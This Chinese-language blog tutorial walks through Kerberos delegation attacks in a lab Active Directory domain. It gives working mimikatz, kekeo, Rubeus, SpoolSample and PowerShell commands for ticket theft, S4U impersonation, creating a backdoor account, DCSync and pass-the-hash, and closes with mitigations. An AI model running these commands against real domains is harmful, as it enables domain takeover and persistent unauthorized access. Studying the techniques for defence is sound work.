本文主要介绍一下对Kerberos委派的一些常见攻击方法

实验环境:

DC2 域控 ,dc2.lab.local

IIS 运行IIS服务的域内主机

DESKTOP-WIN10 域内主机

WIN7 攻击机 域内主机 本地账户:WIN7\dtz

域管理员 LAB\Administrator LAB\dlive

服务账户 LAB\iis_svc

0x01 脆弱点发现

服务账号和主机账号都可以开启委派功能

下图为主机账户DESKTOP-WIN10委派配置

下图为服务账户iis_svc委派配置

可以看到主机账户和服务账户在委派功能上没什么区别,都存在三个选项

  1. 不信任此用户作为委派 => 不开启委派功能
  2. 信任此用户作为任何服务的委派 => 非受限委派
  3. 仅信任此用户作为指定服务的委派 => 受限委派
    • 适用任何身份验证协议
    • 仅适用Kerberos

开启了委派功能的账户存在被攻击者利用的可能性,通过下面的命令(基于PowerView)可以发现域中开启了委派功能的账户

# Powerview,通过LDAP查询获取信息

# 非受限委派

Get-NetUser -Unconstrained -Domain lab.local

Get-NetComputer -Unconstrained -Domain lab.local

下图为Get-NetComputer的结果,查询出两个主机账户开启了非限制委派DC2和DESKTOP-WIN10(域控制器主机账户默认开启非限制委派),下图为DESKTOP-WIN10

# 受限委派

# 之前PowerView是有Get-DomainUser和Get-DomainComputer可以实现受限委派查询

# 但是在最新的master分支中这个功能被删掉了,不知道为什么,这里使用dev分支中的PowerView

# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L4906

Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl

Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl

下图为Get-NetUser运行结果,iis_svc账户开启限制委派,限制委派服务为cifs/DESKTOP-WIN10.lab.local

# 允许委派的账户 -AdminCount表示管理员账户

Get-NetUser -AllowDelegation -AdminCount -Domain lab.local

0x02 攻击非受限委派(Unconstrained Delegation)

非受限委派,IIS服务账户iis_svc配置如下,iis_svc账户在IIS主机上用于启动iis.lab.local_pool

非受限委派协议流程

非受限委派的情况下,Service1可以获取用户的TGT,从而Service1可使用该TGT,模拟用户访问Service2服务。

在实验环境中,以开启委派功能的服务账户iis_svc运行服务的主机(在本实验环境下该主机名为IIS)上会缓存用户的TGT

所以攻击者只需提取IIS主机上保存的TGT,然后进行PTT攻击即可,如果可以获取域管理员的TGT,则可以获取域管理员权限

执行mimikatz,提取内存中保存的票据

下图为导出的LAB/dlive用户的TGT,同时还可以看到IIS主机账户的票据

在本环境中LAB/dlive域用户为域管理员,将该用户的TGT注入攻击者主机(win7)当前会话进行PTT攻击
在将TGT写入当前会话之后,使用klist查看当前会话中的票据,可以看到dlive.lab.local的TGT

然后访问DC上的文件系统,或直接使用Powershell Enter-PSSession访问DC即可

0x03 攻击受限委派(Constrained Delegation)

受限委派,IIS服务账户iis_svc配置如下,DESKTOP-WIN10是域内另一台主机,下图设置了iis_svc对WIN10-DESKTOP的CIFS服务的委派

受限委派协议流程

受限委派的情况下,服务账号只能获取某用户的TGS,从而只能模拟用户访问特定的服务。

在开启受限委派的服务所在主机中无法抓取到用户TGT

但是如果攻击者可以获取到开启非限制委派的服务账户的明文口令/NTLM Hash,也可以伪造TGT和S4U请求

伪装成服务账户以任意账户的权限(如域管理员)申请TGS

其中服务账户的明文口令可能可以通过Kerberoasting攻击获取

在知道服务账号明文口令的情况下,使用kekeo获取TGT

TGT被写入当前目录下的[email protected][email protected]文件中

kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /password:Passw0rd" exit

kekeo通过s4u请求以LAB\administrator用户身份访问CIFS的TGS

S4U2Self获取到的ticket和S4U2Proxy获取到的DESKTOP-WIN10 CIFS服务的TGS会以文件保存在当前目录下

kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/DESKTOP-WIN10.lab.local" exit

mimikatz将获取到的TGS写入当前会话

查看缓存的票据,可以看到写入的TGS,然后即可dir访问远程主机DESKTOP-WIN10文件系统

上面是在获取到iis_svc服务账户的密码之后进行的攻击,kekeo也支持直接使用NTLM进行TGT请求

将iis_svc的NTLM为a87f3a337d73085c45f9416be5787d86,tgt::ask时将/password参数修改为/NTLM即可

kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /NTLM:a87f3a337d73085c45f9416be5787d86" exit

如果攻击者可以直接拿到IIS服务所在服务器的权限,也可以直接从内存中提取服务账户TGT,无需进行tgt::ask,直接tgt::s4u即可

# 提取ticket

mimikatz.exe "privilege::debug" "sekurlsa::ticket /export" exit

或者按照 http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ 中Scenario 2介绍的方法

# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('[email protected]')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\DESKTOP-WIN10.LAB.LOCAL\C$

# undo the impersonation context
$Context.Undo()

我们之前说过主机账户也存在委派功能,但是主机账户的口令是系统随机生成的,破解拿到明文口令的可能性太小

一般使用主机账户做委派攻击时会使用其NTLM Hash,需要注意的一点是主机账户的用户名为主机名+$

如DESKTOP-WIN10的用户名为DESKTOP-WIN10$

0x04 使用受限委派制作变种黄金票据

第一次听到这种攻击方法是在n1nty大佬在KCON上的演讲

之后便去学习了n1nty大佬的文章,https://paper.seebug.org/620/

关于变种黄金票据的具体细节可以参考这个文章

变种黄金票据的原理为,利用限制委派账户,向tgs自身申请了一张域管理员访问tgs服务的票据,即TGT

TGT也可以看做TGS的一种,不过是访问tgs这个特殊服务的票据

tgs服务的spn为krbtgt/LAB.LOCAL,该服务以krbtgt服务账户运行的


小插曲

最初我测试这个变种黄金票据的时候是在Windows 2012域环境下测试,一直不成功

看SPN或Kerberos协议数据包也没看出什么问题

后来问了一下n1nty师傅,说是2012 及以后的KDC,受限委派的机制变成了Resource Based Constrained Delegation,有可能是这个原因

于是换成2008的域环境进行测试,果然可以成功

而关于如何在2012及以后的域控上实现黄金票据,我研究了好久也没能搞定,有知道的师傅求教Orz...

所以下面的测试环境换为

域 dlive.com

域控 Windows Server 2008 DC1.dlive.com

域管理员 DLIVE\Administrator

攻击者 Win7 内置用户 WIN7\dtz


变种黄金票据的流程如下

一、在获取域管理员权限之后,添加服务账户backdoor_svc,开启非限制委派,服务类型为krbtgt/DLIVE.COM

关于tgs服务的spn:

我们在域控上执行klist查看到任何一个域用户的TGT票据即可以发现,tgs服务的spn为krbtgt/DLIVE.COM

添加服务账户

New-ADUser -Name "Backdoor" -SamAccountName backdoor_svc -UserPrincipalName [email protected] -ServicePrincipalNames "backdoor/backdoor.dlive.com" -AccountPassword (convertto-securestring "Dubhe@1234" -asplaintext -force)  -PasswordNeverExpires $True  -PassThru | Enable-ADAccount

设置委派

$user = Get-ADUser backdoor_svc -Properties "msDS-AllowedToDelegateTo"

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/DLIVE.COM") }

Set-ADAccountControl $user -TrustedToAuthForDelegation $true

二、攻击者通过已知的backdoor_svc口令,使用kekeo tgt::ask,获取backdoor_svc tgt

kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234" exit

三、攻击者通过kekeo tgs::s4u,获取DLIVE\Administrator访问krbtgt/DLIVE.COM的TGS,即DLIVE\Administrator的TGT

kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:krbtgt/DLIVE.COM" exit

四、攻击者利用获取的域管理员的TGT控制域控制器

mimikatz.exe "kerberos::ptt [email protected]@[email protected]" exit

klist查看缓存的票据

以域管理员的身份访问域控

0x05 受限委派 + DCSync 域控权限维持

变种黄金票据在2012之后的域环境下没有试验成功

但是在2012及之后的域环境下还是有其他办法可以通过受限委派进行持久化控制的

这里利用了DC上的ldap服务,通过受限委派获取ldap服务的票据进行DCSync攻击

参考:https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/

给后门服务账户设置委派

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/DC2.lab.local") }

申请以LAB\Administrator身份访问ldap/DC2.lab.local的TGS

kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234" exit

kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:ldap/DC2.lab.local" exit

mimikatz将TGS写入内存

mimikatz.exe "kerberos::ptt [email protected]@[email protected]" exit

DCSync读取krbtgt的HASH

mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:lab.local" exit

下面就可以通过krbtgt伪造黄金票据了

也可以直接通过dcsync读取LAB\Administrator的HASH进行PTH

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:9492fbc31a047a42a454f0e1701103dc /run:cmd.exe" exit

0x06 非受限委派 + Print Spooler服务 域控权限获取/权限维持

参考:

https://xz.aliyun.com/t/2896

https://adsecurity.org/?p=4056

https://www.youtube.com/watch?v=-bcWZQCLk_4&feature=youtu.be&t=2194

https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory

在已经控制一台非受限委派机器的情况下,攻击者可以提取该机器中缓存的TGT,但是如果域管理员未曾访问过该机器

,攻击者没办法获取到域管的TGT

在DerbyCon 8(2018年)会议上,Will Schroeder (@Harmj0y)、Lee Christensen (@Tifkin_)和Matt Nelson (@enigma0x3)提出了一种场景,当域控机器开启Print Spooler服务时(默认开启且以System权限运行),攻击者可以主动要求域控访问已被攻击者控制的非受限委派服务器,进而获取域控主机账户的TGT。当然这种攻击方式也适用于其他非域控机器。

但是这种攻击有一个限制是需要找到一台开启非受限委派的主机账户,而非服务账户

在一些网络环境下开启非受限委派的主机账户可能不是很好找,DerbyCon 8该攻击方法的作者是以SHAREPOINT主机为例演示的。虽然开启非受限委派的主机账户可能不是很好找,但是这种方式仍然可以用作一种权限维持方式。

首先开启DESKTOP-WIN10主机账户的非受限委派

域控DC2上Print Spooler服务默认是自动运行的,下图是该服务的截图

攻击者现在已经拿下DESKTOP-WIN10的控制权限

最近harmj0y大佬发布了基于C#的Rubeus来弥补kekeo工具的一些不足

这里使用Rubeus的监听模式,监听登录会话提取TGT

# 以管理员身份运行

Rubeus.exe monitor /interval:5 /filteruser:DC2$

向DC2 Print Spooler发送请求,强制其访问DESKTOP-WIN10进行身份验证

# 以域用户身份运行

SpoolSample_v4.5_x64..exe DC2 DESKTOP-WIN10

0x07 缓解措施

  1. 不需要使用委派的账户或高权限用户,比如域管理员账户,设置不允许委派

  1. 受保护的用户组

适用于Windows 2012 R2以及更高版本的系统

参考:
https://docs.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/protected-users-security-group#BKMK_HowItWorks
https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts

If the domain functional level is Windows Server 2012 R2 , members of the group can no longer:

- Authenticate by using NTLM authentication

- Use Data Encryption Standard (DES) or RC4 cipher suites in Kerberos pre-authentication

- Be delegated by using unconstrained or constrained delegation

- Renew user tickets (TGTs) beyond the initial 4-hour lifetime

0x08 参考资料

  1. 无约束委派攻击

https://adsecurity.org/?p=1667

https://www.cnblogs.com/backlion/p/9268346.html

https://www.labofapenetrationtester.com/2016/02/getting-domain-admin-with-kerberos-unconstrained-delegation.html

  1. 约束委派相关协议(s4u2self/s4u2proxy)MSDN

https://msdn.microsoft.com/en-us/library/cc246080.aspx

  1. 约束委派攻击

https://www.anquanke.com/post/id/92484#h2-0

http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/

https://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day3.html

  1. 基于域委派的变种黄金票据

https://paper.seebug.org/620/

  1. Blackhat US 2015 提出关于非受限委派的攻击手法

https://adsecurity.org/?p=1667

https://www.blackhat.com/docs/us-15/materials/us-15-Metcalf-Red-Vs-Blue-Modern-Active-Directory-Attacks-Detection-And-Protection.pdf

https://www.blackhat.com/docs/us-15/materials/us-15-Metcalf-Red-Vs-Blue-Modern-Active-Directory-Attacks-Detection-And-Protection-wp.pdf

  1. Blackhat Asia 2017 提出关于受限委派的攻击手法

https://www.blackhat.com/docs/asia-17/materials/asia-17-Hart-Delegate-To-The-Top-Abusing-Kerberos-For-Arbitrary-Impersonations-And-RCE.pdf

https://www.blackhat.com/docs/asia-17/materials/asia-17-Hart-Delegate-To-The-Top-Abusing-Kerberos-For-Arbitrary-Impersonations-And-RCE-wp.pdf

  1. 攻击者是如何通过域控制器打印机服务和无约束Kerberos委派账户获取最高权限的
    https://xz.aliyun.com/t/2896

https://adsecurity.org/?p=4056

https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory

  1. 受保护的用户组

https://docs.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/protected-users-security-group#BKMK_HowItWorks
https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts

源链接

Hacking more

...